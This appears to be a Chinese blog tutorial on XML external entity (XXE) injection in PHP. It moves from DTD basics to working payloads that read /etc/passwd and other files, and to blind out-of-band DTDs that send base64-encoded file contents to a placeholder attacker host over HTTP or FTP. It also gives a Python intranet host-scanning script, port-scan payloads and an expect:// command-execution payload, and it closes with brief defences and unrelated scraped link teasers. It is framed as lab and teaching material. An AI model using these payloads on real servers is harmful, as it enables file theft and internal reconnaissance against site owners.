XXE从0到1
XXE从0到1
1. XXE概述
XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。
下面我们主要介绍PHP语言下的XXE攻击.
1.1 XML基础
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储。
1.1.1文档结构
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
1.1.2 DTD
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。
DTD示例:
1.1.3 DTD的声明
DTD有内部声明和外部声明两种
1. 内部声明 : <!DOCTYPE 根元素 [元素声明] >
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
2. 外部声明(引用外部DTD): <!DOCTYPE 根元素 SYSTEM "文件名">
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "http://127.0.0.1/note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
--------------------------------------------------------------------
#http://127.0.0.1/note.dtd的内容为
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
1.1.4 DTD实体
构成DTD的叫做DTD实体
- 内部实体:
- 外部实体:
内部和外部实体中,又有一般实体和参数实体
- 一般实体: 引用方式:&实体名;
- 参数实体: 引用方式:%实体名;
注意参数实体只能在DTD中申明,DTD中引用;
<!DOCTYPE message [
<!ENTITY normal "hello"> <!-- 内部一般实体 -->
<!ENTITY % normal2 "hello"> <!-- 内部参数实体 -->
<!ENTITY normal3 SYSTEM "http://xml.org/hhh.dtd"> <!-- 外部一般实体 -->
<!ENTITY % normal4 SYSTEM "file:///1234.dtd"> <!-- 外部参数实体 -->
%normal4; <!-- 引用参数实体 -->
]>
<message>&normal;</message> <!-- 引用参数实体 -->
参数实体还能嵌套定义,但需要注意的是,内层的定义的参数实体% 需要进行HTML实体编码,否则会出现解析错误。
<!DOCTYPE test [
<!ENTITY % outside '<!ENTITY % files SYSTEM "file:///etc/passwd">'>
]>
<message>&files;</message>
2. XXE原理
XXE即XML外部实体注入 。和sql注入一样,进行xml修改成恶意代码后,xml解析器解析了恶意代码造成XXE。
2.1 利用方式
方式一: 直接通过DTD外部实体声明
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<a>&b;</a>
方式二:通过DTD文档引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
<hhh>&f;<hhh>
#DTD文件内容:
<!ENTITY f SYSTEM "file:///etc/passwd">
方式三:通过DTD外部实体声明引入外部DTD文档中的外部实体声明
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "https://blog.csdn.net/syy0201/Quan.dtd">
]>
<hhh>&f;<hhh>
#Quan.dtd的外部实体声明内容:
<!ENTITY f SYSTEM "file:///etc/passwd">
2.2 XXE的分类
XXE分成了三类,正常回显XXE、报错XXE和Blind XXE
一、有回显XXE
示例代码:
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
当读取的文件中有特殊符号的时候,直接读取会报错。
问题出在
...
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&goodies;</creds>
引用并不接受可能会引起 xml 格式混乱的字符(在XML中,有时实体内包含了些字符,如&,<,>,",'等。这些均需要对其进行转义,否则会对XML解释器生成错误)
这时候我们就可以利用CDATA或者base64编码来绕过
1.使用base64编码
使用base64编码进行XXE可以防止返回包验证,得到的值进行解码即可还原
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/1.txt">
]>
<test>&file;</test>
2.使用CDATA
CDATA节中的所有字符都会被当做元素字符数据的常量部分,而不是 xml标记
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/1.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
#evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
二、无回显XXE(XXE盲打)
xml.php
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/1.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://IP:9999?p=%file;'>">
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://IP/test.dtd">
%dtd;%int;%send; ]>
注意此处test.dtd的%进行了html实体编码。%进行Unicode编码为 % 或者 %(转化成Unicode编码有两种形式,以&#后接十进制数字,&#x后接十六进制数字)
具体加载过程:
首先加载%dtd
。此时会远程加载攻击者主机上的外部实体,然后加载 %int
。接下来加载 %send
实体,此时就是关键点,服务器端返回内容(通过get查询方式会在攻击者的服务器日志中留下记录),查询的字符串 p 的值便是参数实体 file 的值,也就是读取的文件。
补充:
此处利用的是php伪协议对读取文件信息base64编码,再通过http协议发送数据,而在java中,此处利用点中,文件里如果存在换行等字符,就会导致发送失败,不能通过http协议发送,则用ftp协议。(无特殊字符的简单文件http协议也可以进行读取)
Post 包
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ip/evil.xml">
%remote;]>
<root/>
evil.xml
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://ip:2121/%d;'>">
%c;
在测试主机上下载并运行xxe-ftp-server.rb,运行后会在2121端口开启ftp服务,脚本下载地址:https://github.com/ONsec-Lab/scripts
Ruby xxe-ftp-server.rb
2.3 判出此处断是否存在漏洞
遇到XML相关的交互过程,以如下步骤判断是否存在漏洞:
(1)检测XML是否会被解析:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY dog "this is dog">
]>
<root>&dog;</root>
和注入一样,看输入的xml
如果$dog;输出了"this is dog"那就继续第二步。
这里来个补充说明:
第一种情况
数据包中发现传输了xml格式的数据,则判断出xml可能会被解析。
利用有回显payload的时候,xml标签必须和数据包中的标签一致,不然会出现无回显的情况。具体原理看下面的代码分析
第二种情况
发现数据包中无xml传输,也有可能存在xml解析,可以修改Content-Type的值为:application/xml;charset=UTF-8类型,然后发出xml看响应结果
(2)检测服务器是否支持外部实体:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % dog SYSTEM "http://ip:9999">
%dog;
]>
通过nc监听查看是否发送了请求,也可以通过dnslog来查看。
(3)判断是否有回显结果,无回显则使用xxe盲打
3. 测试靶场
xxe-lab
这里我们要求php版本为5.2,5.3,5.4,因为他们的libxml版本为2.7.7,2.7.8
允许加载外部实体,libxml版本在2.9.1之后,默认是不解析外部实体
有回显的XXE利用:
在登陆点抓一个包,插入payload
<?xml version="1.0"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "file:///c:/windows/win.ini">
]>
<user><username>&goodies;</username>
<password>yang</password></user>
注意点,这里必须要把获取的数据写入username标签,具体是代码中,由于获取的username标签后输出产生的XXE。
无回显的XXE利用:
注释掉echo和关闭错误显示
构造payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://IP/test.dtd">
%dtd;%int;%send; ]>
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/1.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://IP:9999?p=%file;'>">
kali开启nc监听,运行payload
靶场的代码:
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');//这里面因为没有xml文档所以用的是php的伪协议来获取我们发送的xml文档
try{
$dom = new DOMDocument();//创建XML的对象
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);//将我们发送的字符串生成xml文档。
$creds = simplexml_import_dom($dom);//这一步感觉相当于实例化xml文档
$username = $creds->username;//获取username标签的值
$password = $creds->password;//获取password标签的值
if($username == $USERNAME && $password == $PASSWORD){//将获取的值与前面的进行比较。... $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);//注意必须要有username这个标签,不然的话找不到username,就没有了输出了,我们也不能通过回显来获取信息了
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);//与上方相同,都会输出username的值,都可以达到我们的目的
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
4. HTTP 内网存活主机扫描
可以读取 /etc/network/interfaces 或者 /proc/net/arp 或者 /etc/host 文件,这样我们就能拿到网段了
利用python2脚本探测存活主机:
# -*- coding: utf-8 -*-
import requests
import base64
#Origtional XML that the server accepts
#<xml>
# <stuff>user</stuff>
#</xml>
def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&xxe;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)
def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
# http://192.168.202.1/xxe/php_xxe/doLogin.php 就是存在xxe的php网址
x = requests.post('http://192.168.202.1/xxe/php_xxe/doLogin.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
print coded_string
# print base64.b64decode(coded_string)
for i in range(129, 135):
try:
i = str(i)
#此处填写网段
ip = '192.168.202.' + i
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue
结果,红框中的就是存在主机:
5. HTTP端口扫描
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY Quan SYSTEM "http://192.168.202.130:80">
]>
<reset><login>&Quan;</login><secret>Any bugs?</secret></reset>
设置爆破端口
根据长度或者响应时间来判断端口存活
6. 执行系统命令
这种情况很少发生,PHP加载了expect模块,攻击者能够通过XXE执行代码。
<?xml version="1.0"?>
<!DOCTYPE Quan[
<!ENTITY f SYSTEM "expect://执行的命令">
]>
<hhh>&f;<hhh>
1.4.1 过滤用户提交的XML数据
过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC
1.4.2 PHP下
libxml_disable_entity_loader(true);
1.4.3 JAVA下
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
1.4.4 Python下
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
XXE从0到1的更多相关文章
- ZAM 3D 制作简单的3D字幕 流程(二)
原地址:http://www.cnblogs.com/yk250/p/5663907.html 文中表述仅为本人理解,若有偏差和错误请指正! 接着 ZAM 3D 制作简单的3D字幕 流程(一) .本篇 ...
- ZAM 3D 制作3D动画字幕 用于Xaml导出
原地址-> http://www.cnblogs.com/yk250/p/5662788.html 介绍:对经常使用Blend做动画的人来说,ZAM 3D 也很好上手,专业制作3D素材的XAML ...
- 微信小程序省市区选择器对接数据库
前言,小程序本身是带有地区选着器的(网站:https://mp.weixin.qq.com/debug/wxadoc/dev/component/picker.html),由于自己开发的程序的数据是很 ...
- osg编译日志
1>------ 已启动全部重新生成: 项目: ZERO_CHECK, 配置: Debug x64 ------1> Checking Build System1> CMake do ...
- Apache Roller 5.0.3 XXE漏洞分析
下载5.0.2的版本来分析 5.0.2的war包地址 http://archive.apache.org/dist/roller/roller-5/v5.0.2/bin/roller-weblogge ...
- XML注入介绍--XXE,XEE,xpath等
XML注入指在请求的XML中插入攻击利用代码.根据不同的场景,可能会形成以下的漏洞形式: (1)XEE ----xml entity xpansion(xml实体膨胀,用于dos) 具体介绍:http ...
- XXE篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题
0x01 Brief Description XXE(XML External Entity) XML外部实体攻击也是常见的web漏洞之一,在学习这个漏洞之前有必要了解一下xml,可以参考w3c的基本 ...
- 微信开源PHP商城系统一处blind xxe(无需登录,附POC)
测试版本wemall 3.3 下载地址 http://git.oschina.net/einsqing/wemall/repository/archive?ref=master 需要开源中国的账号 c ...
- xxe漏洞的学习与利用总结
前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识 要了解xxe漏洞,那么一定得先 ...
随机推荐
- 一个故事看懂HTTPS
我是一个浏览器,每到夜深人静的时候,主人就打开我开始学习. 为了不让别人看到浏览记录,主人选择了"无痕模式". 但网络中总是有很多坏人,他们通过抓包截获我和服务器的通信,主人干了什 ...
- 手动实现instanceof函数
instanceof 功能 a instanceof b 官方解释为检查构造函数b的prototype 有没有出现在a的原型链上.比如: function A() { } function B() { ...
- 又一开源项目爆火于GitHub,Android高级插件化强化实战
一.插件化起源 插件化技术最初源于免安装运行 Apk的想法,这个免安装的 Apk 就可以理解为插件,而支持插件的 app 我们一般叫 宿主. 想必大家都知道,在 Android 系统中,应用是以 Ap ...
- 关于协议栈XDATA,内存溢出的小结
[第二部分的内容仅供参考,自己不是十分确定] ************************************************************** ************** ...
- Redis-01-基础
基本概念 1 基本概念 redis是一个开源的.使用C语言编写的.支持网络交互的.可基于内存也可持久化的Key-Value数据库(非关系性数据库) redis运维的责任 1.保证服务不挂 2.备份数据 ...
- 【Java】@Scheduled常用的注解的使用
@Scheduled注解的使用 cron cron这个参数必须要接受一个cron表达式 cron表达式是个啥呢,Cron表达式是一个具有时间含义的字符串,字符串以5个空格隔开,分为6个域,格式为 X ...
- Python - typing 模块 —— Any Type
前言 typing 是在 python 3.5 才有的模块 前置学习 Python 类型提示:https://www.cnblogs.com/poloyy/p/15145380.html 常用类型提示 ...
- 题解 Dove 打扑克
传送门 考场上觉得复杂度是假的就没怎么优化,然后考完题解帮我证明了它是真的-- 首先合并可以用并查集维护,可以顺便维护出集合的大小 对于操作2,发现如果 \(size_i\) 是确定的,可以用权值线段 ...
- 题解 d
传送门 写出来\(n^2\)就有81pts-- \(n^2\)的话枚举最后成为限制的是哪两个矩形,利用前缀和和二分\(n^3\)化\(n^2\)就行了 这题最无脑直接贪心的方法会有后效性 但实际上正解 ...
- 教你使用ApiPost中的全局参数和目录参数
前面的示例中,我们都是在单一接口中填入不同的请求header.query.body参数.但在实际项目中,对于一批接口,往往具有相同的请求参数.此时,我们可以利用全局参数或者目录参数实现. 例如:常见的 ...